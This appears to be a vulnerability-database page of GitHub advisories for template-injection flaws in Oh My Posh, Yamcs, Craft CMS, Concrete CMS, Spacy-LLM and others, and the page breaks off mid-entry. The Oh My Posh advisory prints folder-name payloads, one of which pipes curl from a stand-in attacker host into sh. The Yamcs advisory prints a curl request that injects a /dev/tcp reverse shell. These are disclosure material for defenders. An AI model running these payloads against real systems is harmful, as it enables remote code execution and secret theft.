Common Weakness Enumeration

CWE-1336

Allowed

Improper Neutralization of Special Elements Used in a Template Engine

Abstraction: Base · Status: Incomplete

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

461 vulnerabilities reference this CWE, most recent first.

GHSA-6XJ8-QV9J-XCJQ

Vulnerability from github – Published: 2026-07-24 22:36 – Updated: 2026-08-13 14:22
VLAI
Summary
Oh My Posh: Arbitrary command execution via template injection in the path segment
Details

Summary

Oh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go text/template engine. That engine's function map exposes a cmd function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected.

Details

src/segments/path.go, setStyle():

// make sure we resolve all templates
if txt, err := template.Render(pt.Path, pt); err == nil {
    pt.Path = txt
}

pt.Path is built from the raw folder-name components of the current working directory (colorizePath inserts each folder name verbatim via fmt.Sprintf(folderFormat, element)). The whole string is then passed to template.Render, which parses and executes it with the full function map from src/template/func_map.go, including:

func cmd(command string, args ...string) (string, error) {
    output, err := env.RunCommand(command, args...)
    return strings.TrimSpace(output), err
}

Any template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (src/config/default.go) contains a path segment.

PoC

Config (a single default path segment):

{ "version":3, "blocks":[{"type":"prompt","alignment":"left","segments":[
  {"type":"path","style":"plain","foreground":"#ffffff",
   "template":"{{ .Path }}","properties":{"style":"full"}}]}]}

Command execution reflected into the prompt (--pwd supplies exactly the string env.Pwd() returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only / and NUL are disallowed):

$ oh-my-posh print primary --config p.json --shell fish \
      --pwd '/home/v/{{ cmd `whoami` }}'
/home/v/<username>        # whoami executed, output substituted

Side effect (file write), slash-free payload, verified on Windows:

$ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \
      --pwd '/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}'
$ cat /tmp/proof
pwn3d

Confirmed to fire under full, folder, agnoster, agnoster_short, mixed and letter path styles.

Impact

Arbitrary command execution as the victim user, triggered by navigating into attacker-supplied directory content: a subdirectory in a cloned repository, an extracted archive, a network share, or a removable drive. Execution occurs when the shell is in that directory or any descendant (the full path includes the ancestor names) and the prompt renders, i.e. on the next command after cd.

The path is split on / (and \ on Windows) before rendering, so a payload cannot contain a path separator. This is not a real barrier: on Linux/macOS {{ cmdsh-ccurl${IFS}-s${IFS}attacker.example|sh}} needs no slash (attacker root path), or a script staged in the same directory can be run with a relative name ({{ cmdbashx}}).

Suggested fix: do not re-parse the composed path as a template after untrusted folder names have been inserted. Preferably resolve configuration templates (folder_separator_template, mapped_locations, folder_format) individually against their own inputs and concatenate the already-rendered pieces with the literal folder names. Alternatively escape {{/}} in raw folder-name components before insertion, or use a data-only function map (no cmd/readFile/stat/glob) for path resolution. The same double-evaluation pattern is worth reviewing at src/segments/options/map.go.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 29.35.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/jandedobbeleer/oh-my-posh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "29.35.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73505"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T22:36:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nOh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go `text/template` engine. That engine\u0027s function map exposes a `cmd` function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected.\n\n### Details\n`src/segments/path.go`, `setStyle()`:\n\n```go\n// make sure we resolve all templates\nif txt, err := template.Render(pt.Path, pt); err == nil {\n    pt.Path = txt\n}\n```\n\n`pt.Path` is built from the raw folder-name components of the current working directory (`colorizePath` inserts each folder name verbatim via `fmt.Sprintf(folderFormat, element)`). The whole string is then passed to `template.Render`, which parses and executes it with the full function map from `src/template/func_map.go`, including:\n\n```go\nfunc cmd(command string, args ...string) (string, error) {\n    output, err := env.RunCommand(command, args...)\n    return strings.TrimSpace(output), err\n}\n```\n\nAny template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (`src/config/default.go`) contains a path segment.\n\n### PoC\nConfig (a single default path segment):\n\n```json\n{ \"version\":3, \"blocks\":[{\"type\":\"prompt\",\"alignment\":\"left\",\"segments\":[\n  {\"type\":\"path\",\"style\":\"plain\",\"foreground\":\"#ffffff\",\n   \"template\":\"{{ .Path }}\",\"properties\":{\"style\":\"full\"}}]}]}\n```\n\nCommand execution reflected into the prompt (`--pwd` supplies exactly the string `env.Pwd()` returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only `/` and NUL are disallowed):\n\n```\n$ oh-my-posh print primary --config p.json --shell fish \\\n      --pwd \u0027/home/v/{{ cmd `whoami` }}\u0027\n/home/v/\u003cusername\u003e        # whoami executed, output substituted\n```\n\nSide effect (file write), slash-free payload, verified on Windows:\n\n```\n$ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \\\n      --pwd \u0027/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}\u0027\n$ cat /tmp/proof\npwn3d\n```\n\nConfirmed to fire under full, folder, agnoster, agnoster_short, mixed and letter path styles.\n\n### Impact\nArbitrary command execution as the victim user, triggered by navigating into attacker-supplied directory content: a subdirectory in a cloned repository, an extracted archive, a network share, or a removable drive. Execution occurs when the shell is in that directory or any descendant (the full path includes the ancestor names) and the prompt renders, i.e. on the next command after cd.\n\nThe path is split on `/` (and `\\` on Windows) before rendering, so a payload cannot contain a path separator. This is not a real barrier: on Linux/macOS `{{ cmd `sh` `-c` `curl${IFS}-s${IFS}attacker.example|sh` }}` needs no slash (attacker root path), or a script staged in the same directory can be run with a relative name (`{{ cmd `bash` `x` }}`).\n\nSuggested fix: do not re-parse the composed path as a template after untrusted folder names have been inserted. Preferably resolve configuration templates (`folder_separator_template`, `mapped_locations`, `folder_format`) individually against their own inputs and concatenate the already-rendered pieces with the literal folder names. Alternatively escape `{{`/`}}` in raw folder-name components before insertion, or use a data-only function map (no `cmd`/`readFile`/`stat`/`glob`) for path resolution. The same double-evaluation pattern is worth reviewing at `src/segments/options/map.go`.",
  "id": "GHSA-6xj8-qv9j-xcjq",
  "modified": "2026-08-13T14:22:04Z",
  "published": "2026-07-24T22:36:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/JanDeDobbeleer/oh-my-posh/security/advisories/GHSA-6xj8-qv9j-xcjq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JanDeDobbeleer/oh-my-posh/commit/88ddbe0b0a4dd13cc345996108c9869493f2c690"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/JanDeDobbeleer/oh-my-posh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JanDeDobbeleer/oh-my-posh/releases/tag/v29.35.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JanDeDobbeleer/oh-my-posh/releases/tag/v29.36.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Oh My Posh: Arbitrary command execution via template injection in the path segment"
}

GHSA-73MF-M39P-WPM9

Vulnerability from github – Published: 2026-08-28 17:23 – Updated: 2026-08-28 17:23
VLAI
Summary
Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)
Details

Summary

templateArgs sent to POST /api/instances (and PATCH /api/instances/{instance}) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each services: entry by its class:, so injecting YAML through a template arg lets you add a services: entry for org.yamcs.ProcessRunner and run a command on the host. The args aren't escaped for YAML or validated server-side.

Needs the CreateInstances privilege. With no security.yaml the guest user is superuser=true and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.

Details

VarStatement appends arg values with no escaping:

// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29
buf.append(value);

The only filter, EscapeFilter, does HTML escaping (& < > ' ") and leaves newlines, colons and indentation alone, so {{ x | escape }} doesn't help either. InstancesApi.createInstance forwards the args without checking them against the declared variables; the choices / required metadata is only used to render the web form.

Request to exec: InstancesApi.createInstance (http/api/InstancesApi.java:169, checks CreateInstances) → YamcsServer.createInstance (YamcsServer.java:651, template.process(templateArgs)) → rendered config loaded as YConfiguration → YamcsServerInstance instantiates services: by class: (YamcsServerInstance.java:75,88, via YObjectLoader) → org.yamcs.ProcessRunner runs new ProcessBuilder(command).start() (ProcessRunner.java:81-82).

createInstance has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (ServicesApi only starts/stops existing ones), so the template arg is the only way in.

A fix would be to validate templateArgs (reject newlines / control characters, enforce the declared choices / required) and/or escape substituted values for the YAML context.

PoC

Run the shipped example: ./run-example.sh templates. It serves HttpServer on 8090 with no security.yaml, so guest is superuser and the API is unauthenticated. Its example template puts {{ spaceSystem }} into name: "...".

Listener:

nc -lvnp 4444

Request (set <LHOST> / <LPORT> to the listener):

curl -i -X POST http://<target>:8090/api/instances \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "pwned",
    "template": "example",
    "templateArgs": {
      "spaceSystem": "x\"\nservices:\n  - class: org.yamcs.ProcessRunner\n    args:\n      command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#",
      "bar": "Option 2"
    }
  }'

Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (id shows the service account). The arg closes the name: "..." quote, adds a top-level services: (which overrides the template's services: [], last key wins in SnakeYAML), and ends with # to comment out the trailing ".

With security.yaml it's the same request with a bearer token. This works for a user whose only privilege is CreateInstances: that user gets 403 (Missing system privilege 'ChangeMissionDatabase') on the algorithm-override path but 200 here.

Impact

Command execution as the Yamcs service account. That includes reading secretKey from etc/yamcs.yaml (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.

It needs CreateInstances, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without security.yaml, this is host takeover from the API.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.13.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.13.0"
            },
            {
              "fixed": "5.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-470",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:23:04Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\n`templateArgs` sent to `POST /api/instances` (and `PATCH /api/instances/{instance}`) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each `services:` entry by its `class:`, so injecting YAML through a template arg lets you add a `services:` entry for `org.yamcs.ProcessRunner` and run a command on the host. The args aren\u0027t escaped for YAML or validated server-side.\n\nNeeds the `CreateInstances` privilege. With no `security.yaml` the `guest` user is `superuser=true` and the API is unauthenticated, so it\u0027s reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn\u0027t touch this path.\n\n### Details\n\n`VarStatement` appends arg values with no escaping:\n\n```java\n// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29\nbuf.append(value);\n```\n\nThe only filter, `EscapeFilter`, does HTML escaping (`\u0026 \u003c \u003e \u0027 \"`) and leaves newlines, colons and indentation alone, so `{{ x | escape }}` doesn\u0027t help either. `InstancesApi.createInstance` forwards the args without checking them against the declared variables; the `choices` / `required` metadata is only used to render the web form.\n\nRequest to exec:\n`InstancesApi.createInstance` (`http/api/InstancesApi.java:169`, checks `CreateInstances`)\n\u2192 `YamcsServer.createInstance` (`YamcsServer.java:651`, `template.process(templateArgs)`)\n\u2192 rendered config loaded as `YConfiguration`\n\u2192 `YamcsServerInstance` instantiates `services:` by `class:` (`YamcsServerInstance.java:75,88`, via `YObjectLoader`)\n\u2192 `org.yamcs.ProcessRunner` runs `new ProcessBuilder(command).start()` (`ProcessRunner.java:81-82`).\n\n`createInstance` has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (`ServicesApi` only starts/stops existing ones), so the template arg is the only way in.\n\nA fix would be to validate `templateArgs` (reject newlines / control characters, enforce the declared `choices` / `required`) and/or escape substituted values for the YAML context.\n\n### PoC\n\nRun the shipped example: `./run-example.sh templates`. It serves `HttpServer` on 8090 with no `security.yaml`, so guest is superuser and the API is unauthenticated. Its `example` template puts `{{ spaceSystem }}` into `name: \"...\"`.\n\nListener:\n\n```\nnc -lvnp 4444\n```\n\nRequest (set `\u003cLHOST\u003e` / `\u003cLPORT\u003e` to the listener):\n\n```bash\ncurl -i -X POST http://\u003ctarget\u003e:8090/api/instances \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"name\": \"pwned\",\n    \"template\": \"example\",\n    \"templateArgs\": {\n      \"spaceSystem\": \"x\\\"\\nservices:\\n  - class: org.yamcs.ProcessRunner\\n    args:\\n      command: [\\\"bash\\\", \\\"-c\\\", \\\"exec 3\u003c\u003e/dev/tcp/\u003cLHOST\u003e/\u003cLPORT\u003e; sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\\\"]\\n#\",\n      \"bar\": \"Option 2\"\n    }\n  }\u0027\n```\n\nReturns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (`id` shows the service account). The arg closes the `name: \"...\"` quote, adds a top-level `services:` (which overrides the template\u0027s `services: []`, last key wins in SnakeYAML), and ends with `#` to comment out the trailing `\"`.\n\nWith `security.yaml` it\u0027s the same request with a bearer token. This works for a user whose only privilege is `CreateInstances`: that user gets 403 (`Missing system privilege \u0027ChangeMissionDatabase\u0027`) on the algorithm-override path but 200 here.\n\n### Impact\n\nCommand execution as the Yamcs service account. That includes reading `secretKey` from `etc/yamcs.yaml` (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.\n\nIt needs `CreateInstances`, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn\u0027t have a shell, or that runs without `security.yaml`, this is host takeover from the API.",
  "id": "GHSA-73mf-m39p-wpm9",
  "modified": "2026-08-28T17:23:04Z",
  "published": "2026-08-28T17:23:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-73mf-m39p-wpm9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/549f295cf8c5496a5e799d6bec2432ef976c82aa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/commit/7192da1c49bdf5ab1d72e579a47766a7c43e87c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)"
}

GHSA-742X-X762-7383

Vulnerability from github – Published: 2026-01-05 18:10 – Updated: 2026-01-06 15:52
VLAI
Summary
Craft CMS vulnerable to potential authenticated Remote Code Execution via Twig SSTI
Details

For this to work, users must have administrator access to the Craft Control Panel, and allowAdminChanges must be enabled for this to work, which is against Craft CMS' recommendations for any non-dev environment.

https://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production

Alternatively, a non-administrator account with allowAdminChanges disabled can be used, provided access to the System Messages utility is available.

It is possible to craft a malicious payload using the Twig map filter in text fields that accept Twig input under Settings in the Craft control panel or using the System Messages utility, which could lead to a RCE.

Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.

References:

https://github.com/craftcms/cms/commit/d82680f4a05f9576883bb83c3f6243d33ca73ebe

https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.20"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.8.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.16.16"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.16.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-05T18:10:56Z",
    "nvd_published_at": "2026-01-05T22:15:52Z",
    "severity": "MODERATE"
  },
  "details": "For this to work, users must have administrator access to the Craft Control Panel, and [allowAdminChanges](https://craftcms.com/docs/5.x/reference/config/general.html#allowadminchanges) must be enabled for this to work, which is against Craft CMS\u0027 recommendations for any non-dev environment.\n\nhttps://craftcms.com/knowledge-base/securing-craft#set-allowAdminChanges-to-false-in-production\n\nAlternatively, a non-administrator account with allowAdminChanges disabled can be used, provided access to the System Messages utility is available.\n\nIt is possible to craft a malicious payload using the Twig `map` filter in text fields that accept Twig input under Settings in the Craft control panel or using the System Messages utility, which could lead to a RCE.\n\nUsers should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.\n\nReferences:\n\nhttps://github.com/craftcms/cms/commit/d82680f4a05f9576883bb83c3f6243d33ca73ebe\n\nhttps://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04",
  "id": "GHSA-742x-x762-7383",
  "modified": "2026-01-06T15:52:15Z",
  "published": "2026-01-05T18:10:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-742x-x762-7383"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68454"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/d82680f4a05f9576883bb83c3f6243d33ca73ebe"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS vulnerable to potential authenticated Remote Code Execution via Twig SSTI"
}

GHSA-77C2-C35Q-254W

Vulnerability from github – Published: 2024-12-19 15:31 – Updated: 2024-12-19 22:18
VLAI
Summary
OpenShift Must Gather Operator Improper Input Validation vulnerability
Details

A flaw was found in the MustGather.managed.openshift.io Custom Defined Resource (CRD) of OpenShift Dedicated. A non-privileged user on the cluster can create a MustGather object with a specially crafted file and set the most privileged service account to run the job. This can allow a standard developer user to escalate their privileges to a cluster administrator and pivot to the AWS environment.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openshift/must-gather"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20240604173837-d1557bc283dd"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-25131"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-19T22:18:27Z",
    "nvd_published_at": "2024-12-19T15:15:07Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in the MustGather.managed.openshift.io Custom Defined Resource (CRD) of OpenShift Dedicated. A non-privileged user on the cluster can create a MustGather object with a specially crafted file and set the most privileged service account to run the job. This can allow a standard developer user to escalate their privileges to a cluster administrator and pivot to the AWS environment.",
  "id": "GHSA-77c2-c35q-254w",
  "modified": "2024-12-19T22:18:27Z",
  "published": "2024-12-19T15:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25131"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openshift/must-gather-operator/pull/135"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openshift/must-gather-operator/pull/138"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-25131"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2258856"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openshift/must-gather-operator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenShift Must Gather Operator Improper Input Validation vulnerability"
}

GHSA-77Q8-J8J6-95HJ

Vulnerability from github – Published: 2026-09-11 21:31 – Updated: 2026-09-16 18:31
VLAI
Details

Concrete CMS 9 through 9.5.2 is vulnerable to Server-Side Template Injection (SSTI) in Theme Customizer via Unvalidated Style Values. Values submitted through the customizer (color channels and other style properties handled by ColorStyle and sibling Style classes such as FontFamilyStyle and ImageStyle) are interpolated into server-compiled LESS source without neutralization of LESS syntax, allowing a user with the Theme Customization permission to inject arbitrary LESS directives. By injecting the @import (inline) directive, an attacker can read arbitrary files on the server and reach internal network resources through PHP stream wrappers. The compiled output, including any disclosed file contents, is written to the site's publicly served CSS cache, exposing database credentials, private keys, and other application secrets, and enabling server-side request forgery. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.9 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-81910"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-11T19:17:46Z",
    "severity": "MODERATE"
  },
  "details": "Concrete CMS 9 through 9.5.2 is vulnerable to Server-Side Template Injection (SSTI) in Theme Customizer via Unvalidated Style Values. Values submitted through the customizer (color channels and other style properties handled by ColorStyle and sibling Style classes such as FontFamilyStyle and ImageStyle) are interpolated into server-compiled LESS source without neutralization of LESS syntax, allowing a user with the Theme Customization permission to inject arbitrary LESS directives. By injecting the @import (inline) directive, an attacker can read arbitrary files on the server and reach internal network resources through PHP stream wrappers. The compiled output, including any disclosed file contents, is written to the site\u0027s publicly served CSS cache, exposing database credentials, private keys, and other application secrets, and enabling server-side request forgery.\u00a0The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.9 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.",
  "id": "GHSA-77q8-j8j6-95hj",
  "modified": "2026-09-16T18:31:25Z",
  "published": "2026-09-11T21:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81910"
    },
    {
      "type": "WEB",
      "url": "https://documentation.concretecms.org/developers/introduction/version-history/953-release-notes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-793V-GXFP-9Q9H

Vulnerability from github – Published: 2025-03-05 21:32 – Updated: 2025-04-02 22:59
VLAI
Summary
Spacy-LLM Server-Side Template Injection (SSTI) vulnerability
Details

A Server-Side Template Injection (SSTI) vulnerability in Spacy-LLM v0.7.2 allows attackers to execute arbitrary code via injecting a crafted payload into the template field.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.7.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "spacy-llm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25362"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-05T22:21:46Z",
    "nvd_published_at": "2025-03-05T21:15:19Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Template Injection (SSTI) vulnerability in Spacy-LLM v0.7.2 allows attackers to execute arbitrary code via injecting a crafted payload into the template field.",
  "id": "GHSA-793v-gxfp-9q9h",
  "modified": "2025-04-02T22:59:09Z",
  "published": "2025-03-05T21:32:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25362"
    },
    {
      "type": "WEB",
      "url": "https://github.com/explosion/spacy-llm/issues/492"
    },
    {
      "type": "WEB",
      "url": "https://github.com/explosion/spacy-llm/pull/491"
    },
    {
      "type": "WEB",
      "url": "https://github.com/explosion/spacy-llm/commit/8bde0490cc1e9de9dd2e84480b7b5cd18a94d739"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/explosion/spacy-llm"
    },
    {
      "type": "WEB",
      "url": "https://www.hacktivesecurity.com/blog/2025/04/01/cve-2025-25362-old-vulnerabilities-new-victims-breaking-llm-prompts-with-ssti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Spacy-LLM Server-Side Template Injection (SSTI) vulnerability"
}

GHSA-79RG-2HX6-CPCP

Vulnerability from github – Published: 2026-01-23 12:30 – Updated: 2026-01-23 12:30
VLAI
Details

Dell Data Protection Advisor, versions prior to 19.12, contains an Improper Neutralization of Special Elements Used in a Template Engine vulnerability in the Server. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information exposure.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-46699"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-23T10:15:52Z",
    "severity": "MODERATE"
  },
  "details": "Dell Data Protection Advisor, versions prior to 19.12, contains an Improper Neutralization of Special Elements Used in a Template Engine vulnerability in the Server. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information exposure.",
  "id": "GHSA-79rg-2hx6-cpcp",
  "modified": "2026-01-23T12:30:28Z",
  "published": "2026-01-23T12:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46699"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000281732/dsa-2025-075-security-update-for-dell-data-protection-advisor-for-multiple-component-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7C58-G782-9J38

Vulnerability from github – Published: 2025-05-05 19:35 – Updated: 2025-05-05 22:07
VLAI
Summary
